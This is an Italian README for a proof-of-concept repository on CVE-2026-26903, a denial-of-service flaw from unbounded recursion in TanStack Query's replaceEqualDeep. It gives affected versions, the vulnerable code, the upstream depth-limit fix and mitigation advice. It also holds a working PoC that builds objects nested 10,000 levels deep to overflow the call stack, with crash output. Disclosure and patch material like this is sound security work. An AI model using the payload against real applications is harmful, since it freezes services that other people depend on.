
Una PoC per dimostrare CVE-2026-26903
Denial-of-service tramite ricorsione illimitata nella funzione replaceEqualDeep di TanStack Query
Un singolo aggiornamento di query appositamente progettato con oggetti profondamente annidati può congelare il thread JavaScript a tempo indeterminato, causando la completa mancata risposta dell'applicazione. Non è richiesta alcuna autenticazione né permessi speciali.
Questa vulnerabilità è stata corretta in @tanstack/[email protected] tramite la PR #10032, pubblicata il 14 gennaio 2026.
| Pacchetto | Affetto | Corretto |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/vue-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/solid-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/svelte-query | depends on vulnerable query-core | 6.1.7+ |
CVE-2026-26903: Denial of Service tramite ricorsione illimitata in replaceEqualDeep (Severità: Media)
La funzione
replaceEqualDeepin TanStack Query esegue un confronto ricorsivo di oggetti annidati senza limiti di profondità. Quando elabora strutture dati profondamente annidate, ciò può innescare una ricorsione illimitata che porta a stack overflow e al congelamento dell'applicazione.— Assegnato tramite MITRE
La funzione replaceEqualDeep di TanStack Query viene utilizzata internamente per determinare se i dati di una query sono effettivamente cambiati, ottimizzando i re-render preservando i riferimenti agli oggetti quando possibile. La funzione attraversa ricorsivamente le proprietà degli oggetti per eseguire un confronto di uguaglianza profonda.
L'implementazione ricorsiva manca di limiti di profondità o di rilevamento dei cicli:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep con dati profondamente annidatiuseQuery con dati di risposta annidatisetQueryData, invalidateQueries o qualsiasi operazione sulla cache delle queryCVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Opzione A: demo HTML autonoma (nessuna dipendenza)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Opzione B: applicazione React (scenario realistico)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
Il PoC genera oggetti profondamente annidati e innesca replaceEqualDeep per elaborarli:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
Ogni chiamata ricorsiva aggiunge un nuovo frame allo stack finché lo stack delle chiamate del motore JavaScript non si esaurisce, congelando il thread.
Posizione: @tanstack/query-core/src/utils.ts (approssimativa)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
La correzione (applicata nel commit 269351b di TanStack Query) aggiunge un limite di profondità per prevenire la ricorsione illimitata:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Modifiche principali:
depth con valore predefinito 0 per tracciare la profondità di ricorsioneb immediatamente se depth > 500replaceEqualDeep(aItem, bItem, depth + 1)
Questa semplice correzione previene lo stack overflow consentendo al contempo un annidamento ragionevole (500 livelli sono più che sufficienti per le strutture dati del mondo reale).Implementa un limite di profondità in replaceEqualDeep:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
Oppure usa un attraversamento iterativo invece della ricorsione.
Questa proof-of-concept è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. Usala in modo responsabile e solo contro applicazioni di tua proprietà o per le quali hai esplicito permesso di testare. Gli autori non sono responsabili per qualsiasi uso improprio di queste informazioni.